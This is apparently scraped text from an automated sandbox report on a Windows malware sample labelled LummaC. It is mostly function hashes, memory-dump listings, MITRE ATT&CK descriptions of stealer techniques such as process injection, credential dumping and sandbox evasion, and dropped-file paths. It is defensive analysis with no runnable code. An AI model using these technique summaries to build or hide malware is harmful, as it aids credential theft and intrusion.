Opcode Fuzzy Hash: 6c55bdbff55b623930b1486ab7d3bbc00cadb3fd2fe9b9ac473e2e5251182c33
Instruction Fuzzy Hash: 2462AF75604601CFC328CF29D8A0656B7F2FF8E314F198AADD49A8B7A5D735E801CB85

Function 00439800 Relevance: .9, Instructions: 900COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92f92b8d180d7e466a6020dcb7f7ae17289135859763e23fa19c64d058da9224
Instruction ID: 971108f4feed7590127db1c43a6020b90f59e9ed919653e19c63c87e3c675a06
Opcode Fuzzy Hash: 92f92b8d180d7e466a6020dcb7f7ae17289135859763e23fa19c64d058da9224
Instruction Fuzzy Hash: 98628E75604601CFC328CF29C8A1656B7F2FF8E314F198AADD49A8B7A5D735E801CB85

Function 004087E0 Relevance: .8, Instructions: 847COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80942b6ec8a0f92939d663b0282845a35144365b43b072ed62acad061cb83aca
Instruction ID: c46a7da8628a6026c03f89d201d86e66c7be017641e073fd8bc9820585d60f36
Opcode Fuzzy Hash: 80942b6ec8a0f92939d663b0282845a35144365b43b072ed62acad061cb83aca
Instruction Fuzzy Hash: D352C2316087118BC725DF18C58026BB3E1FFD4314F198A3ED9D6A7385DB39A912CB86

Function 00425C76 Relevance: .8, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b4686bd4dd05840b2c075d52ebfee549fc9a605ddb6e1e8273fd273f455f8a1
Instruction ID: da3aacb2e697eb59cae4d15b9bbc80257f2a3c38f97510d6ea76a28692de248a
Opcode Fuzzy Hash: 4b4686bd4dd05840b2c075d52ebfee549fc9a605ddb6e1e8273fd273f455f8a1
Instruction Fuzzy Hash: CD528EB0514B408FD728DF38C496766BBE1EF46310F64469DE8E68B385E335A805CBDA

Function 00439BB0 Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acdf82f5a448cdf772044c4b2fc9597870af0f3e7b37a62c3749937848923602
Instruction ID: 830ecb42d7abc2b2a2a282277316a4e92f6ec9e11880a4049a09fb5acae358cb
Opcode Fuzzy Hash: acdf82f5a448cdf772044c4b2fc9597870af0f3e7b37a62c3749937848923602
Instruction Fuzzy Hash: 2622AC75608741CFC314CF29C4A0657BBE2EF8A314F19CAADE89A8B761D735E805CB85

Function 004274ED Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad10d9e1dc89fdfec225a370e6aa8615b101f53af709077cdf9756bbaaef2145
Instruction ID: a1731dc3387523b7aa2bf6b381984fb398b01bd45911fb774d4d8302138880a5
Opcode Fuzzy Hash: ad10d9e1dc89fdfec225a370e6aa8615b101f53af709077cdf9756bbaaef2145
Instruction Fuzzy Hash: EFB1C270208791CFD329CF29D4A0B22FBF1AF56304F68899DD4D68B791D739A845CB98

Function 0041F9F6 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5523832297f80b3b1f7c10314aa6b72951453ea00874179b560a7ab524116058
Instruction ID: 6ad0f9d166750c1e5bce222ad4ea68b519a2006e22a7011fb842955666f93b97
Opcode Fuzzy Hash: 5523832297f80b3b1f7c10314aa6b72951453ea00874179b560a7ab524116058
Instruction Fuzzy Hash: 23B19F71918312CBC324CF14C4906ABB3F1FF99744F55892DE4C997360E778A94ADB86

Function 00427510 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f576d1424efb005cdb0787b58f36d8ed800b9f861a4b472ab715760641fd8dd2
Instruction ID: d2ef32afaff042333d122212ed9b1fae48af28099071c9f89c17aab7788327c9
Opcode Fuzzy Hash: f576d1424efb005cdb0787b58f36d8ed800b9f861a4b472ab715760641fd8dd2
Instruction Fuzzy Hash: 5EB1C170208791CFD329CF29D4A0B22BBF1EF56304F68899DD0D68B791D739A845CB98

Function 004039F0 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 101c056c11ada026dc9eafb58035156d413542def8e882f60b124476d5b42bb5
Instruction ID: bfe3ed9e6ad30aca534357b5cc6d37109ab19c24000511c061b50ae6da538789
Opcode Fuzzy Hash: 101c056c11ada026dc9eafb58035156d413542def8e882f60b124476d5b42bb5
Instruction Fuzzy Hash: C441C622B081614BCB14CE2D8C9027BBEE79FC5609F1DC53AE8C5EB386E538D9015795

Function 0041FF50 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19be91af186c0c68dd2030644b1d7bebbf8f37b54f718daaed8001788ffc633a
Instruction ID: bd2f374f13c17667cdd9c1ea400609d0ab4ed6fb857d8efded7f0838ff928a93
Opcode Fuzzy Hash: 19be91af186c0c68dd2030644b1d7bebbf8f37b54f718daaed8001788ffc633a
Instruction Fuzzy Hash: 56515C756083918BD3248F24C4617ABB7F1FF96308F544A1DD8C96B792D73A9902CB86

Function 004159A0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c9b75619f9ec461ab938af7b402843997ce14072238f9d59ac90c842c51a587
Instruction ID: 772ffb620d474d770274a807b31905318adffca45f878bc8773e6a4250f2bdeb
Opcode Fuzzy Hash: 7c9b75619f9ec461ab938af7b402843997ce14072238f9d59ac90c842c51a587
Instruction Fuzzy Hash: 5F4117B1988704DBC320AF54C8C07EBB7D8EFD5354F09466BE88947381E7B99984C79A

Function 004165C4 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c188cee60d00e7681fa479b925609b6a1396bad8c47d4153527e94596c31767
Instruction ID: 8edb4ed5f83236f3957c18aee5e9bbc8ad1193fb53e9b9e35b44e44a4fbd805c
Opcode Fuzzy Hash: 5c188cee60d00e7681fa479b925609b6a1396bad8c47d4153527e94596c31767
Instruction Fuzzy Hash: 4D41CC71601B128BD728CF25C4A02A7B3B2FF95318B15991DD4EB5BBA1D739F442CB88

Function 00402E70 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c9db0ae263acdbf9cddbc16e71cc13a31d810907dd24c1311003942f972ecfc
Instruction ID: 6137da6e33b96c004c53ccacedfcb2b537cb723589e3b1ff9130dfae60e1e27d
Opcode Fuzzy Hash: 5c9db0ae263acdbf9cddbc16e71cc13a31d810907dd24c1311003942f972ecfc
Instruction Fuzzy Hash: 3A31CA316482009BD7149E59C984927B7E1FF84318F18897EE899AB3C2D379DC53DBCA

Function 0042118E Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e94c2c7eeeae562ea6ece9941d9b003ab5bfdd0b109bc3212b933b97349ced5e
Instruction ID: 2918bd61f2945d29d0fa554c520bbd0526d245f7b7e3d8d30e6a8cbb83af9c01
Opcode Fuzzy Hash: e94c2c7eeeae562ea6ece9941d9b003ab5bfdd0b109bc3212b933b97349ced5e
Instruction Fuzzy Hash: FE31ACBA6082019FD704DF14C98095EBBE2ABD9758F488C2DF989D3252C63CDD02DB46

Function 004282C0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 376f6ab5b4949a50da4938477a54df6f9f01408b2263f2aa92185c0ce20d7b5c
Instruction ID: 37d65c0d96cd339839a57f9adc5e78555563b1594a37f0f223f9c4a4854c1c95
Opcode Fuzzy Hash: 376f6ab5b4949a50da4938477a54df6f9f01408b2263f2aa92185c0ce20d7b5c
Instruction Fuzzy Hash: 142150346056418FD329CF28C4E0B66BBE2EF9B700F2885ACC5D34B755CB3AA806CB54

Function 004306E0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: d3ec77d4e49150756e4c5e3fdf230c315b44187800d9f8e8f9b733ed32b6a87b
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 8D112933A051D40EC3128D3C8420566BFA30A97634F5953DAF4F59B2D2D7269D8A8799

Function 004253B0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b11c399896c11bab2422dc4d7308a7e7a0ec563dde72a92b641478e69b9cb576
Instruction ID: 15646484e16a1d5c20d948d5737f83de828f8589c215e087d80cc841809bb181
Opcode Fuzzy Hash: b11c399896c11bab2422dc4d7308a7e7a0ec563dde72a92b641478e69b9cb576
Instruction Fuzzy Hash: 7B019EB1700B2157D620AE15A4C073BF2A8AF90708F98943EEC0557342DBB9EC04C6AA

Function 00413FA2 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 373ad85e13f026f00dbc6e12dea71060b208a124d22bbf02772c5e6cf30035ff
Instruction ID: 0fe8a39c4d51040e5bafa3206ed6a1a0b1ef0e6b769925abdafe88977980a854
Opcode Fuzzy Hash: 373ad85e13f026f00dbc6e12dea71060b208a124d22bbf02772c5e6cf30035ff
Instruction Fuzzy Hash: B9118E769083018BD364CF29C4816AAF7E6ABCE328F09553ED589D7361DB35D884C74A

Function 00403BB0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09e60dbd5db2a38ca641e61a71618933e8c95aeb6091c1e5395999e4f40ef571
Instruction ID: 0c03319d73f99ce238a9d0aa385d87b2044aef85ba86c49e84be752e1dd05d3f
Opcode Fuzzy Hash: 09e60dbd5db2a38ca641e61a71618933e8c95aeb6091c1e5395999e4f40ef571
Instruction Fuzzy Hash: 6DF02B7B7082190FA320DD69ACC0537B799D7C5205F05543AD641F3301D435ED029394

Function 0040E4F0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 7567eda5645cf641dadac7b7a61648b3bbff5d008fb3d0bb5e6396b2a6f34c87
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 36D097305087A00EC7088D3808A0837FBE8E983212B081CEFE0C1F3284F234DC01429C

Function 00428A46 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77f3ffa3c2f253182e84fabc8a263b713151a066df15388427e84eb588f61ea9
Instruction ID: f0bd671f3dec2f00be004c8b098033ea01cabf1f6269bcd306c616f2aba6a005
Opcode Fuzzy Hash: 77f3ffa3c2f253182e84fabc8a263b713151a066df15388427e84eb588f61ea9
Instruction Fuzzy Hash: 16D09E34604641CFD316CF2DC590B22BBF0AB57700F015559D452A77A1CB64ED45CF59

Function 00423AAF Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c6fa7066e69beec7b0dad775731c5c4c62fe057172da32d9154868203783d80
Instruction ID: e4818fed4aa8b59c27eeb32041e2ee06b1e15a1553e8ebba6a87e1d7398baf81
Opcode Fuzzy Hash: 6c6fa7066e69beec7b0dad775731c5c4c62fe057172da32d9154868203783d80
Instruction Fuzzy Hash: 73A011A8C88000A2C0008E00A802030F238022BA0AF00B838E008B3203E230EA008A0E

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report qeUaxJCA3FO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_qeUaxJCA3FO.exe_26ced5a8273fce98aa9021c21fb0fef74efa7d5c_dc1fb231_c6be8ca1-2306-40fb-9124-95b6fa544bbf\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A8A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B08.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B57.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
qeUaxJCA3FO.exe

Function 0287018D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 00F95240 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131
COMMON

Function 00FB9C80 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111
threadCOMMON

Function 00FA8BAF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00FB9B20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
memorysynchronizationthreadCOMMON

Function 00F9F7DC Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 00F9F680 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 00FA8C7A Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Function 00FA9B87 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE